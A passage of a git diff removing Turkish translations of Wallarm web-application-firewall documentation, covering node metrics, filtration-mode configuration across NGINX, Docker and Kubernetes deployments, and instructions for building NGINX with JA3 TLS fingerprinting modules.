dosyasının uygulanma zamanı kimliği - # TYPE wallarm_db_apply_time gauge - wallarm_db_apply_time 1674548649 - # HELP wallarm_lom_apply_time LOM dosyasının uygulanma zamanı - # TYPE wallarm_lom_apply_time gauge - wallarm_lom_apply_time 1674153198 - # HELP wallarm_custom_ruleset_apply_time Özel Kurallar Dizisi dosyasının uygulanma zamanı - # TYPE wallarm_custom_ruleset_apply_time gauge - wallarm_custom_ruleset_apply_time 1674153198 - # HELP wallarm_proton_instances proton örneklerinin sayısı - # TYPE wallarm_proton_instances gauge - wallarm_proton_instances{status="success"} 5 - wallarm_proton_instances{status="fallback"} 0 - wallarm_proton_instances{status="failed"} 0 - # HELP wallarm_stalled_worker_time_seconds bir işçinin libproton içinde takılı kaldığı süre - # TYPE wallarm_stalled_worker_time_seconds gauge - wallarm_stalled_worker_time_seconds{pid="3169104"} 25 - - # HELP wallarm_startid benzersiz başlangıç kimliği - # TYPE wallarm_startid gauge - wallarm_startid 3226376659815907920 - ``` - -Aşağıdaki yanıt parametreleri mevcuttur (Prometheus metriklerinin öneki `wallarm_`): - -* `requests`: filtre düğümü tarafından işlenen istek sayısı. -* `streams` (Wallarm 6.2.0 sürümünden itibaren kullanılabilir): işlenen gRPC/WebSocket akışlarının sayısı. -* `messages` (Wallarm 6.2.0 sürümünden itibaren kullanılabilir): işlenen gRPC/WebSocket mesajlarının sayısı. -* `attacks`: kaydedilen saldırıların sayısı. -* `blocked`: [yasaklı listedeki](../user-guides/ip-lists/overview.md) IP’lerden gelenler de dahil engellenen isteklerin sayısı. -* `blocked_by_acl`: [yasaklı listelenmiş](../user-guides/ip-lists/overview.md) istek kaynakları nedeniyle engellenen isteklerin sayısı. -* `acl_allow_list`: [izinli listelenmiş](../user-guides/ip-lists/overview.md) istek kaynaklarından gelen isteklerin sayısı. -* `abnormal`: uygulamanın anormal olarak değerlendirdiği isteklerin sayısı. -* `tnt_errors`: son-analitik modül tarafından analiz edilmeyen isteklerin sayısı. Bu istekler için engelleme nedenleri kaydedilir, ancak isteklerin kendisi istatistik ve davranış kontrollerine dahil edilmez. -* `api_errors`: ileri analiz için API’ye iletilmeyen isteklerin sayısı. Bu istekler için engelleme parametreleri uygulanmıştır (örneğin, sistem engelleme modunda çalışıyorsa kötü amaçlı istekler engellenmiştir); ancak bu olaylara ilişkin veriler UI içinde görünmez. Bu parametre yalnızca Wallarm düğümü yerel bir son-analitik modülle çalıştığında kullanılır. -* `requests_lost`: son-analitik modülde analiz edilmeyen ve API’ye aktarılmayan isteklerin sayısı. Bu istekler için engelleme parametreleri uygulanmıştır (örneğin, sistem engelleme modunda çalışıyorsa kötü amaçlı istekler engellenmiştir); ancak bu olaylara ilişkin veriler UI içinde görünmez. Bu parametre yalnızca Wallarm düğümü yerel bir son-analitik modülle çalıştığında kullanılır. -* `overlimits_time`: filtreleme düğümü tarafından tespit edilen [Hesaplama kaynaklarının aşırı kullanımı](../attacks-vulns-list.md#resource-overlimit) türündeki saldırıların sayısı. -* `segfaults`: worker sürecinin acil sonlandırılmasına yol açan sorunların sayısı. -* `memfaults`: sanal bellek limitlerine ulaşılan sorunların sayısı. -* `softmemfaults`: proton.db +lom için sanal bellek limitinin aşıldığı durumların sayısı ([`wallarm_general_ruleset_memory_limit`](configure-parameters-en.md#wallarm_general_ruleset_memory_limit)). -* `proton_errors`: sanal bellek limitinin aşılması durumları dışında proton.db hatalarının sayısı. -* `time_detect`: isteklerin analizine harcanan toplam süre. -* `db_id`: proton.db sürümü. -* `lom_id`: yakında kullanımdan kaldırılacaktır, lütfen `custom_ruleset_id` kullanın. -* `custom_ruleset_id`: [özel kurallar dizisi][gl-lom] yapısının sürümü. - - 4.8 sürümünden başlayarak, Prometheus formatında `wallarm_custom_ruleset_id{format="51"} 386` olarak görünür; `custom_ruleset_ver`, `format` özniteliğinin içinde yer alır ve ana değer kurallar dizisi yapı sürümüdür. -* `custom_ruleset_ver` (Wallarm 4.4.3 sürümünden itibaren kullanılabilir): [özel kurallar dizisi][gl-lom] formatı: - - * `4x` - [kullanım ömrünü doldurmuş](../updating-migrating/versioning-policy.md#version-list) 2.x Wallarm düğümleri için. - * `5x` - 4.x ve 3.x (ikincisi [kullanım ömrünü doldurmuş](../updating-migrating/versioning-policy.md#version-list)) Wallarm düğümleri için. -* `db_apply_time`: proton.db dosyasının son güncelleme zamanı (Unix zamanı). -* `lom_apply_time`: yakında kullanımdan kaldırılacaktır, lütfen `custom_ruleset_apply_time` kullanın. -* `custom_ruleset_apply_time`: [özel kurallar dizisi](../glossary-en.md#custom-ruleset-the-former-term-is-lom) dosyasının son güncelleme zamanı (Unix zamanı). -* `proton_instances`: indirilen proton.db + LOM çiftleri hakkında bilgi: - * `total`: toplam çift sayısı. - * `success`: Wallarm Cloud’dan başarıyla indirilen çift sayısı. - * `fallback`: yedek dizinden indirilen çift sayısı. Bu, Cloud’dan en son proton.db + LOM indirirken sorunlar olduğunu, ancak [`wallarm_fallback`](configure-parameters-en.md#wallarm_fallback) yönergesi `on` olduğundan NGINX’in yedek dizinden daha eski proton.db + LOM sürümlerini yükleyebildiğini gösterir. - * `failed`: başlatılamayan çiftlerin sayısı; yani NGINX’in proton.db + LOM’u ne Cloud’dan ne de yedek dizinden indirememesi. [`wallarm_fallback`](configure-parameters-en.md#wallarm_fallback) etkin ve bu durum oluşursa, Wallarm modülü devre dışı bırakılır ve yalnızca NGINX modülü çalışır durumda kalır. Sorunu teşhis etmek için NGINX günlüklerini kontrol etmeniz veya [Wallarm desteğiyle iletişime geçmeniz](https://support.wallarm.com/) önerilir. -* `stalled_workers_count`: istek işleme için zaman sınırını aşan worker sayısı (sınır [`wallarm_stalled_worker_timeout`](configure-parameters-en.md#wallarm_stalled_worker_timeout) yönergesinde ayarlanır). -* `stalled_workers`: istek işleme için zaman sınırını aşan worker’ların listesi (sınır [`wallarm_stalled_worker_timeout`](configure-parameters-en.md#wallarm_stalled_worker_timeout) yönergesinde ayarlanır) ve istek işlemeye harcanan süre. -* `ts_files`: [LOM](../glossary-en.md#custom-ruleset-the-former-term-is-lom) dosyası hakkında bilgi: - * `id`: kullanılan LOM sürümü. - * `size`: LOM dosya boyutu (bayt). - * `mod_time`: LOM dosyasının son güncelleme zamanı (Unix zamanı). - * `fname`: LOM dosyasının yolu. -* `db_files`: proton.db dosyası hakkında bilgi: - * `id`: kullanılan proton.db sürümü. - * `size`: proton.db dosya boyutu (bayt). - * `mod_time`: proton.db dosyasının son güncelleme zamanı (Unix zamanı). - * `fname`: proton.db dosyasının yolu. -* `startid`: filtreleme düğümünün rastgele oluşturulan benzersiz kimliği. -* `timestamp`: düğüm tarafından en son gelen isteğin işlendiği zaman ([Unix Zaman Damgası](https://www.unixtimestamp.com/) formatında). -* `rate_limit`: Wallarm [oransal sınırlandırma (rate limiting)](../user-guides/rules/rate-limiting.md) modülü hakkında bilgi: - * `shm_zone_size`: Wallarm rate limiting modülünün bayt cinsinden tüketebileceği toplam paylaşımlı bellek miktarı (değer [`wallarm_rate_limit_shm_size`](configure-parameters-en.md#wallarm_rate_limit_shm_size) yönergesine dayanır, varsayılan `67108864`). - * `buckets_count`: kova sayısı (genellikle NGINX worker sayısına eşittir, maksimum 8). - * `entries`: limitlerini ölçtüğünüz benzersiz istek noktası değerlerinin (anahtarların) sayısı. - * `delayed`: `burst` ayarı nedeniyle rate limiting modülü tarafından arabelleğe alınan isteklerin sayısı. - * `exceeded`: limiti aştığı için rate limiting modülü tarafından reddedilen isteklerin sayısı. - * `expired`: bu anahtarlar için oran limiti aşılmadıysa, 60 saniyelik düzenli aralıklarla kovadan kaldırılan anahtarların toplam sayısı. - * `removed`: kovadan aniden kaldırılan anahtarların sayısı. Değer `expired` değerinden yüksekse, [`wallarm_rate_limit_shm_size`](configure-parameters-en.md#wallarm_rate_limit_shm_size) değerini artırın. - * `no_free_nodes`: `0`’dan farklı bir değer, rate limit modülü için ayrılan bellek yetersizliğini gösterir; [`wallarm_rate_limit_shm_size`](configure-parameters-en.md#wallarm_rate_limit_shm_size) değerinin artırılması önerilir. -* `split.clients`: her bir [kiracı](../installation/multi-tenant/overview.md) için temel istatistikler. Çoklu kiracılık özelliği etkin değilse, istatistikler statik `"client_id":null` değeriyle yalnızca tek kiracı (hesabınız) için döndürülür. -* `split.clients.applications`: her bir [uygulama](../user-guides/settings/applications.md) için temel istatistikler. Bu bölüme dahil edilmeyen parametreler tüm uygulamalar için istatistik döndürür. - -Tüm sayaçların verileri NGINX başlatıldığı andan itibaren birikir. Wallarm, NGINX’li hazır bir altyapıya kurulmuşsa, istatistik toplamayı başlatmak için NGINX sunucusunun yeniden başlatılması gerekir. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/configure-wallarm-mode.md b/docs/latest-tr/admin-en/configure-wallarm-mode.md deleted file mode 100644 index b9fef10d2f..0000000000 --- a/docs/latest-tr/admin-en/configure-wallarm-mode.md +++ /dev/null @@ -1,310 +0,0 @@ -[api-discovery-enable-link]: ../api-discovery/setup.md#enable -[link-wallarm-mode-override]: ../admin-en/configure-parameters-en.md#wallarm_mode_allow_override -[rule-creation-options]: ../user-guides/events/check-attack.md#attack-analysis_1 -[acl-access-phase]: ../admin-en/configure-parameters-en.md#wallarm_acl_access_phase -[img-mode-rule]: ../images/user-guides/rules/wallarm-mode-rule.png - -# Filtreleme Modu - -Filtreleme modu, gelen istekleri işlerken filtreleme düğümünün davranışını tanımlar. Bu talimatlar, mevcut filtreleme modlarını ve bunların yapılandırma yöntemlerini açıklar. - -## Kullanılabilir filtreleme modları - -Wallarm filtreleme düğümü, gelen istekleri aşağıdaki modlarda (en hafiften en sıkıya doğru) işleyebilir: - -* `off` -* `monitoring` -* `safe_blocking` - yalnızca engellemenin güvenli olduğu durumlarda engeller ([gri liste](../user-guides/ip-lists/overview.md)). -* `block` - ---8<-- "../include/wallarm-modes-description-5.0.md" - -## Yapılandırma yöntemleri - -Filtreleme modu aşağıdaki yollarla yapılandırılabilir: - -* [Düğüm tarafında `wallarm_mode` yönergesini ayarlayın](#setting-wallarm_mode-directive) -* [Genel filtreleme modunu Wallarm Console içinde tanımlayın](#general-filtration-mode) -* [Koşullu filtreleme modu ayarlarını Wallarm Console içinde tanımlayın](#conditioned-filtration-mode) - -Filtreleme modu yapılandırma yöntemlerinin öncelikleri, [`wallarm_mode_allow_override` yönergesinde](#prioritization-of-methods) belirlenir. Varsayılan olarak, değerin katılığı ne olursa olsun Wallarm Console içinde belirtilen ayarlar `wallarm_mode` yönergesinden daha yüksek önceliğe sahiptir. - -### `wallarm_mode` yönergesinin ayarlanması - -Düğüm filtreleme modunu, düğüm tarafında [`wallarm_mode`](../admin-en/configure-parameters-en.md#wallarm_mode) yönergesini kullanarak ayarlayabilirsiniz. `wallarm_mode` yönergesinin farklı dağıtımlarda nasıl ayarlandığının özellikleri aşağıda açıklanmıştır. - -Burada açıklanan yapılandırmanın yalnızca [inline](../installation/inline/overview.md) dağıtımlar için geçerli olduğunu, [out-of-band (OOB)](../installation/oob/overview.md) çözümler için yalnızca `monitoring` modunun etkin olabileceğini unutmayın. - -=== "All-in-one yükleyici" - - Linux üzerinde [all-in-one installer](../installation/nginx/all-in-one.md) ile kurulan NGINX tabanlı düğümler için, `wallarm_mode` yönergesini filtreleme düğümü yapılandırma dosyasında ayarlayabilirsiniz. Farklı bağlamlar için filtreleme modlarını tanımlayabilirsiniz. Bu bağlamlar aşağıdaki listede en genelden en yerele doğru sıralanmıştır: - - * `http`: yönergeler HTTP sunucuya gönderilen isteklere uygulanır. - * `server`: yönergeler sanal sunucuya gönderilen isteklere uygulanır. - * `location`: yönergeler yalnızca belirli bu yolu içeren isteklere uygulanır. - - `http`, `server` ve `location` blokları için farklı `wallarm_mode` yönerge değerleri tanımlanmışsa, en yerel yapılandırma en yüksek önceliğe sahiptir. - - Aşağıda [yapılandırma örneğine](#configuration-example) bakın. - -=== "Docker NGINX tabanlı imaj" - - NGINX tabanlı Wallarm düğümlerini Docker konteynerleri ile dağıtırken, `WALLARM_MODE` ortam değişkenini [iletin](../admin-en/installation-docker-en.md#run-the-container-passing-the-environment-variables): - - ``` - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e WALLARM_LABELS='group=' -e NGINX_BACKEND='example.com' -e WALLARM_API_HOST='us1.api.wallarm.com' -e WALLARM_MODE='monitoring' -p 80:80 wallarm/node:6.5.1 - ``` - - Alternatif olarak, ilgili parametreyi yapılandırma dosyasına [ekleyin](../admin-en/installation-docker-en.md#run-the-container-mounting-the-configuration-file) ve konteyneri bu dosyayı iliştirerek çalıştırın. - -=== "NGINX Ingress controller" - - NGINX Ingress controller için, `wallarm-mode` ek açıklamasını kullanın: - - ``` - kubectl annotate ingress -n nginx.ingress.kubernetes.io/wallarm-mode=monitoring - ``` - - Filtreleme modunu `monitoring` olarak ayarlayarak NGINX tabanlı Ingress controller’ınız için trafik analizinin nasıl [etkinleştirildiğine](../admin-en/installation-kubernetes-en.md#step-2-enabling-traffic-analysis-for-your-ingress) ilişkin örneğe bakın. - -=== "Sidecar" - - Wallarm Sidecar çözümü için, varsayılan `values.yaml` dosyasının Wallarm’a özel bölümünde `mode` parametresini ayarlayın: - - ``` - config: - wallarm: - ... - mode: monitoring - modeAllowOverride: "on" - ``` - - Sidecar için filtreleme modunun belirtilmesine dair ayrıntılar için [buraya](../installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md) bakın. - -=== "Edge Connector’lar" - - [Security Edge connectors](../installation/security-edge/se-connector.md) için, bağlayıcı dağıtımı sırasında **Filtration mode** seçicisinde `wallarm_mode` değerini belirtirsiniz. -=== "Native Node" - * Native Node all-in-one installer ve Docker imajı için [`route_config.wallarm_mode`](../installation/native-node/all-in-one-conf.md#route_configwallarm_mode) parametresini kullanın. - * Native Node Helm chart için [`config.connector.route_config.wallarm_mode`](../installation/native-node/helm-chart-conf.md#configconnectorroute_configwallarm_mode) parametresini kullanın. - -### Genel filtreleme modu - -Tüm gelen istekler için genel filtreleme modunu mitigation controls ([Advanced API Security](../about-wallarm/subscription-plans.md#core-subscription-plans) aboneliği) veya kurallar ([Cloud Native WAAP](../about-wallarm/subscription-plans.md#core-subscription-plans) aboneliği) kullanarak tanımlayabilirsiniz.. - -=== "Mitigation controls" - - Tüm gelen istekler için genel filtreleme modu, "all traffic" **Real-time blocking mode** [mitigation control](../about-wallarm/mitigation-controls-overview.md) ile tanımlanır: - - | Ayar | Filtreleme modu | - | --- | --- | - | **Inherited** | Filtreleme modu, [all-traffic **Real-time blocking mode**](../admin-en/configure-wallarm-mode.md#general-filtration-mode) ve Wallarm düğümünün [configuration](../admin-en/configure-wallarm-mode.md#setting-wallarm_mode-directive) ayarlarından miras alınır. | - | **Excluding** | `off` | - | **Monitoring** | `monitoring` | - | **Safe blocking** | `safe_blocking` | - | **Blocking** | `block` | - - Varsayılan değer **Inherited**’dır. Genel modu istediğiniz anda değiştirebilirsiniz. - -=== "Kurallar" - - Tüm gelen istekler için genel filtreleme modunu [US](https://us1.my.wallarm.com/settings/general) veya [EU](https://my.wallarm.com/settings/general) Cloud’daki **Settings** → **General** bölümünde tanımlayabilirsiniz. - - ![Genel ayarlar sekmesi](../images/configuration-guides/configure-wallarm-mode/en/general-settings-page-with-safe-blocking.png) - - Genel filtreleme modu ayarı, **Rules WAF** bölümünde **Set filtration mode** [default](../user-guides/rules/rules.md#default-rules) kuralı olarak temsil edilir. Bu bölümde uç noktayı hedefleyen filtreleme kurallarının daha yüksek önceliğe sahip olduğunu unutmayın. - -### Koşullu filtreleme modu - -Belirli dallar, uç noktalar ve diğer koşullara dayanarak filtreleme modunu mitigation controls ([Advanced API Security](../about-wallarm/subscription-plans.md#core-subscription-plans) aboneliği) veya kurallar ([Cloud Native WAAP](../about-wallarm/subscription-plans.md#core-subscription-plans) aboneliği) kullanarak ayarlayabilirsiniz. - -=== "Mitigation controls" - - Belirli dallar, uç noktalar ve diğer koşullara dayanarak filtreleme modunu ayarlayabilirsiniz. Wallarm, **Real-time blocking mode** [mitigation control](../about-wallarm/mitigation-controls-overview.md) sağlar. - - Devam etmeden önce: herhangi bir mitigation control için **Scope** ve **Mitigation mode**’un nasıl ayarlandığını öğrenmek üzere [Mitigation Controls](../about-wallarm/mitigation-controls-overview.md#configuration) makalesini kullanın. - - Yeni bir filtreleme modu mitigation control’ü oluşturmak için: - - 1. Wallarm Console → **Mitigation Controls** bölümüne gidin. - 1. **Add control** → **Real-time blocking mode** kullanın. - 1. Mitigation control’ün uygulanacağı **Scope**’u tanımlayın. - 1. **Mitigation mode** bölümünde, belirtilen kapsam için filtreleme modunu seçin: - - | Ayar | Filtreleme modu | - | --- | --- | - | **Inherited** | Filtreleme modu, [all-traffic **Real-time blocking mode**](../admin-en/configure-wallarm-mode.md#general-filtration-mode) ve Wallarm düğümünün [configuration](../admin-en/configure-wallarm-mode.md#setting-wallarm_mode-directive) ayarlarından miras alınır. | - | **Excluding** | `off` | - | **Monitoring** | `monitoring` | - | **Safe blocking** | `safe_blocking` | - | **Blocking** | `block` | - - 1. Değişiklikleri kaydedin ve [mitigation control derlemesinin tamamlanmasını](../about-wallarm/mitigation-controls-overview.md#ruleset-lifecycle) bekleyin. - -=== "Kurallar" - - Belirli dallar, uç noktalar ve diğer koşullara dayanarak filtreleme modunu ayarlayabilirsiniz. Wallarm, bunu yapmak için **Set filtration mode** [rule](../user-guides/rules/rules.md) sağlar. Bu tür kurallar, [Wallarm Console’da ayarlanan genel filtreleme kuralından](#general-filtration-mode) daha yüksek önceliğe sahiptir. - - Yeni bir filtreleme modu kuralı oluşturmak için: - - --8<-- "../include/rule-creation-initial-step.md" - - 1. **Fine-tuning attack detection** → **Override filtration mode** seçin. - 1. **If request is** içinde, kuralın uygulanacağı kapsamı [tanımlayın](../user-guides/rules/rules.md#configuring). Kuralı belirli bir dal, hit veya uç nokta için başlattıysanız, kapsamı onlar belirler – gerekirse daha fazla koşul ekleyebilirsiniz. - 1. Belirtilen kapsam için filtreleme modunu seçin: - - | Ayar | Filtreleme modu | - | --- | --- | - | **Default** | Filtreleme modu, [global filtreleme modu ayarından](../admin-en/configure-wallarm-mode.md#general-filtration-mode) ve Wallarm düğümünün [configuration](../admin-en/configure-wallarm-mode.md#setting-wallarm_mode-directive) ayarlarından miras alınır. | - | **Disabled** | `off` | - | **Monitoring** | `monitoring` | - | **Safe blocking** | `safe_blocking` | - | **Blocking** | `block` | - - 1. Değişiklikleri kaydedin ve [kural derlemesinin tamamlanmasını](../user-guides/rules/rules.md#ruleset-lifecycle) bekleyin. - - Bir filtreleme modu kuralı oluşturmak için, [Wallarm API’yi doğrudan çağırabileceğinizi](../api/request-examples.md#create-the-rule-setting-filtration-mode-to-monitoring-for-the-specific-application) unutmayın. - -### Yöntemlerin önceliklendirilmesi - -!!! warning "`wallarm_mode_allow_override` yönergesinin Edge düğümünde desteği" - Lütfen `wallarm_mode_allow_override` yönergesinin Wallarm Edge [inline](../installation/security-edge/inline/deployment.md) ve [connector](../installation/security-edge/se-connector.md) düğümlerinde özelleştirilemeyeceğini unutmayın. - -`wallarm_mode_allow_override` yönergesi, filtreleme düğümü yapılandırma dosyasındaki `wallarm_mode` yönergesi değerlerini kullanmak yerine Wallarm Console’da tanımlanan mod kurallarını/mitigation controls uygulama yeteneğini yönetir. - -`wallarm_mode_allow_override` yönergesi için aşağıdaki değerler geçerlidir: - -* `off`: Wallarm Console’da belirtilen mod kuralları/mitigation controls yok sayılır. Yapılandırma dosyasındaki `wallarm_mode` yönergesiyle belirtilen kurallar uygulanır. -* `strict`: yalnızca yapılandırma dosyasındaki `wallarm_mode` yönergesinin tanımladığından daha sıkı filtreleme modlarını tanımlayan Wallarm Cloud’da belirtilen mod kuralları/mitigation controls uygulanır. - - Kullanılabilir filtreleme modları, en hafiften en sıkıya doğru [yukarıda](#available-filtration-modes) listelenmiştir. - -* `on` (varsayılan): Wallarm Console’da belirtilen mod kuralları/mitigation controls uygulanır. Yapılandırma dosyasındaki `wallarm_mode` yönergesiyle belirtilen kurallar yok sayılır. - -`wallarm_mode_allow_override` yönerge değerinin tanımlanabileceği bağlamlar, en genelden en yerele doğru aşağıdaki listede sunulmuştur: - -* `http`: `http` bloğu içindeki yönergeler HTTP sunucuya gönderilen isteklere uygulanır. -* `server`: `server` bloğu içindeki yönergeler sanal sunucuya gönderilen isteklere uygulanır. -* `location`: `location` bloğu içindeki yönergeler yalnızca belirli bu yolu içeren isteklere uygulanır. - -`wallarm_mode_allow_override` yönergesinin `http`, `server` ve `location` bloklarında farklı değerleri tanımlanmışsa, en yerel yapılandırma en yüksek önceliğe sahiptir. - -**`wallarm_mode_allow_override` yönergesinin kullanım örneği:** - -```bash -http { - - wallarm_mode monitoring; - - server { - server_name SERVER_A; - wallarm_mode_allow_override off; - } - - server { - server_name SERVER_B; - wallarm_mode_allow_override on; - - location /main/login { - wallarm_mode_allow_override strict; - } - } -} -``` - -Bu yapılandırma örneği, Wallarm Console’daki filtreleme modu kurallarının aşağıdaki şekilde uygulanmasıyla sonuçlanır: - -1. Wallarm Console’da tanımlanan filtreleme modu kuralları/mitigation controls, `SERVER_A` sanal sunucusuna gönderilen istekler için yok sayılır. `SERVER_A` sunucusuna karşılık gelen `server` bloğunda belirtilmiş bir `wallarm_mode` yönergesi olmadığından, bu tür istekler için `http` bloğunda belirtilen `monitoring` filtreleme modu uygulanır. -2. Wallarm Console’da tanımlanan filtreleme modu kuralları/mitigation controls, `/main/login` yolunu içeren istekler hariç `SERVER_B` sanal sunucusuna gönderilen isteklere uygulanır. -3. Hem `SERVER_B` sanal sunucusuna gönderilen hem de `/main/login` yolunu içeren istekler için, Wallarm Console’da tanımlanan filtreleme modu kuralları yalnızca `monitoring` modundan daha sıkı bir filtreleme modu tanımlıyorlarsa uygulanır. - -## Yapılandırma örneği - -Yukarıda bahsedilen tüm yöntemleri kullanan bir filtreleme modu yapılandırması örneğini ele alalım. - -### Düğüm yapılandırma dosyası - -```bash -http { - - wallarm_mode block; - - server { - server_name SERVER_A; - wallarm_mode monitoring; - wallarm_mode_allow_override off; - - location /main/login { - wallarm_mode block; - wallarm_mode_allow_override strict; - } - - location /main/signup { - wallarm_mode_allow_override strict; - } - - location /main/apply { - wallarm_mode block; - wallarm_mode_allow_override on; - } - - location /main/feedback { - wallarm_mode safe_blocking; - wallarm_mode_allow_override off; - } - } -} -``` - -### Wallarm Console’daki ayarlar - -* [Genel filtreleme modu](#general-filtration-mode): **Monitoring**. -* [Koşullu filtreleme modu ayarları](#conditioned-filtration-mode): - * İstek aşağıdaki koşulları sağlıyorsa: - * Yöntem: `POST` - * Yolun ilk bölümü: `main` - * Yolun ikinci bölümü: `apply`, - - o halde **Default** filtreleme modunu uygulayın. - - * İstek aşağıdaki koşulu sağlıyorsa: - * Yolun ilk bölümü: `main`, - - o halde **Blocking** filtreleme modunu uygulayın. - - * İstek aşağıdaki koşulları sağlıyorsa: - * Yolun ilk bölümü: `main` - * Yolun ikinci bölümü: `login`, - - o halde **Monitoring** filtreleme modunu uygulayın. - -### İstek örnekleri - -Yapılandırılmış `SERVER_A` sunucusuna gönderilen isteklerin örnekleri ve Wallarm filtreleme düğümünün bunlara uyguladığı işlem aşağıdaki gibidir: - -* `/news` yoluna sahip kötü amaçlı istek, `SERVER_A` sunucusu için `wallarm_mode monitoring;` ayarı nedeniyle işlenir ancak engellenmez. - -* `/main` yoluna sahip kötü amaçlı istek, `SERVER_A` sunucusu için `wallarm_mode monitoring;` ayarı nedeniyle işlenir ancak engellenmez. - - Wallarm Console’da tanımlanan **Blocking** kuralı, `SERVER_A` sunucusu için `wallarm_mode_allow_override off;` ayarı nedeniyle buna uygulanmaz. - -* `/main/login` yoluna sahip kötü amaçlı istek, `/main/login` yoluna sahip istekler için `wallarm_mode block;` ayarı nedeniyle engellenir. - - Wallarm Console’da tanımlanan **Monitoring** kuralı, filtreleme düğümü yapılandırma dosyasındaki `wallarm_mode_allow_override strict;` ayarı nedeniyle buna uygulanmaz. - -* `/main/signup` yoluna sahip kötü amaçlı istek, `/main/signup` yoluna sahip istekler için `wallarm_mode_allow_override strict;` ayarı ve `/main` yolu için Wallarm Console’da tanımlanan **Blocking** kuralı nedeniyle engellenir. -* `/main/apply` yoluna ve `GET` metoduna sahip kötü amaçlı istek, `/main/apply` yoluna sahip istekler için `wallarm_mode_allow_override on;` ayarı ve `/main` yolu için Wallarm Console’da tanımlanan **Blocking** kuralı nedeniyle engellenir. -* `/main/apply` yoluna ve `POST` metoduna sahip kötü amaçlı istek, `/main/apply` yoluna sahip bu istekler için `wallarm_mode_allow_override on;` ayarı, Wallarm Console’da tanımlanan **Default** kuralı ve filtreleme düğümü yapılandırma dosyasında `/main/apply` yoluna sahip istekler için `wallarm_mode block;` ayarı nedeniyle engellenir. -* `/main/feedback` yoluna sahip kötü amaçlı istek, filtreleme düğümü yapılandırma dosyasında `/main/feedback` yoluna sahip istekler için `wallarm_mode safe_blocking;` ayarı nedeniyle yalnızca [gri listeye alınmış bir IP’den](../user-guides/ip-lists/overview.md) geliyorsa engellenir. - - Wallarm Console’da tanımlanan **Monitoring** kuralı, filtreleme düğümü yapılandırma dosyasındaki `wallarm_mode_allow_override off;` ayarı nedeniyle buna uygulanmaz. - -## Filtreleme modunu kademeli uygulamaya ilişkin en iyi uygulamalar - -Yeni bir Wallarm düğümünün başarılı şekilde devreye alınması için, filtreleme modlarını değiştirmek üzere şu adım adım önerileri izleyin: - -1. Wallarm filtreleme düğümlerini üretim dışı ortamlarınızda `monitoring` çalışma moduna ayarlı olarak dağıtın. -1. Wallarm filtreleme düğümlerini üretim ortamınızda `monitoring` çalışma moduna ayarlı olarak dağıtın. -1. Wallarm bulut tabanlı arka ucunun uygulamanızı öğrenmesi için tüm ortamlarınızdaki (test ve üretim dahil) trafiğin 7‑14 gün boyunca filtreleme düğümleri üzerinden akmasını sağlayın. -1. Tüm üretim dışı ortamlarınızda Wallarm `block` modunu etkinleştirin ve korunan uygulamanın beklendiği gibi çalıştığını doğrulamak için otomatik veya manuel testler kullanın. -1. Üretim ortamında Wallarm `block` modunu etkinleştirin ve uygulamanın beklendiği gibi çalıştığını doğrulamak için mevcut yöntemleri kullanın. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/enabling-ja3.md b/docs/latest-tr/admin-en/enabling-ja3.md deleted file mode 100644 index 8304724015..0000000000 --- a/docs/latest-tr/admin-en/enabling-ja3.md +++ /dev/null @@ -1,113 +0,0 @@ -# JA3 Parmak İzi Oluşturmayı Etkinleştirme - -Bu makale, NGINX gibi en popüler yazılımlar ve AWS, Google Cloud, Azure gibi altyapılar için JA3 parmak izi oluşturmanın nasıl etkinleştirileceğini açıklar. - -## Genel Bakış - -Saldırganlar, kullanıcı aracısı (UA) sahteciliği ve IP rotasyonu gibi güvenlik önlemlerini atlatmak için çeşitli teknikleri sıklıkla kullanır. Bu yöntemler, kimliği doğrulanmamış trafikte davranışsal saldırıları tespit etmeyi zorlaştırır. [JA3 fingerprinting](https://www.peakhour.io/learning/fingerprinting/what-is-ja3-fingerprinting/), istemci ile sunucu arasındaki TLS görüşmesi sırasında tanımlanan belirli parametreler için bir MD5 karması oluşturur. Bu parmak izi yöntemi, [API oturumu](../api-sessions/overview.md) işlemenin bir parçası olarak tehdit aktörlerinin tanımlanmasını geliştirebilir ve [API kötüye kullanımının önlenmesi](../api-abuse-prevention/overview.md) için davranışsal bir profil oluşturulmasına katkıda bulunabilir. - -## NGINX - -NGINX’ten JA3 parmak izi alınabilmesi, bu tanımlama yöntemini NGINX tabanlı tüm Wallarm [dağıtım seçeneklerinde](..//installation/nginx-native-node-internals.md#nginx-node) kullanılabilir hale getirir. JA3 için iki NGINX modülü vardır: - -| Modül | Açıklama | Kurulum | -| - | - | - | -| [nginx-ssl-ja3](https://github.com/fooinha/nginx-ssl-ja3) | JA3 için ana NGINX modülü. `THIS IS NOT PRODUCTION` işaretine sahiptir. Dolayısıyla başarı garantisi yoktur. | [Talimatlar](https://github.com/fooinha/nginx-ssl-ja3#compilation-and-installation) | -| [nginx-ssl-fingerprint](https://github.com/phuslu/nginx-ssl-fingerprint) | JA3 için ikinci NGINX modülü. `high performance` etiketine sahiptir ve beğeniler ile fork’ları vardır. | [Talimatlar](https://github.com/phuslu/nginx-ssl-fingerprint#quick-start) | - -Her iki modülde de OpenSSL ve NGINX’i yamalamamız gerekir. - -Modül kurulumuna bir örnek (`nginx-ssl-fingerprint` modülünden): - -``` -# Kopyalama - -$ git clone -b OpenSSL_1_1_1-stable --depth=1 https://github.com/openssl/openssl -$ git clone -b release-1.23.1 --depth=1 https://github.com/nginx/nginx -$ git clone https://github.com/phuslu/nginx-ssl-fingerprint - -# Yama - -$ patch -p1 -d openssl < nginx-ssl-fingerprint/patches/openssl.1_1_1.patch -$ patch -p1 -d nginx < nginx-ssl-fingerprint/patches/nginx.patch - -# Yapılandır ve Derle - -$ cd nginx -$ ASAN_OPTIONS=symbolize=1 ./auto/configure --with-openssl=$(pwd)/../openssl --add-module=$(pwd)/../nginx-ssl-fingerprint --with-http_ssl_module --with-stream_ssl_module --with-debug --with-stream --with-cc-opt="-fsanitize=address -O -fno-omit-frame-pointer" --with-ld-opt="-L/usr/local/lib -Wl,-E -lasan" -$ make - -# Test - -$ objs/nginx -p . -c $(pwd)/../nginx-ssl-fingerprint/nginx.conf -$ curl -k https://127.0.0.1:8444 -``` - -Örnek NGINX yapılandırması: - -``` -server { - listen 80; - server_name example.com; - … - # JA3 parmak izi başlığını başka bir uygulamaya iletin. - proxy_set_header X-Client-TLS-FP-Value $http_ssl_ja3_hash; - proxy_set_header X-Client-TLS-FP–Raw-Value $http_ssl_ja3; - - # İsteği 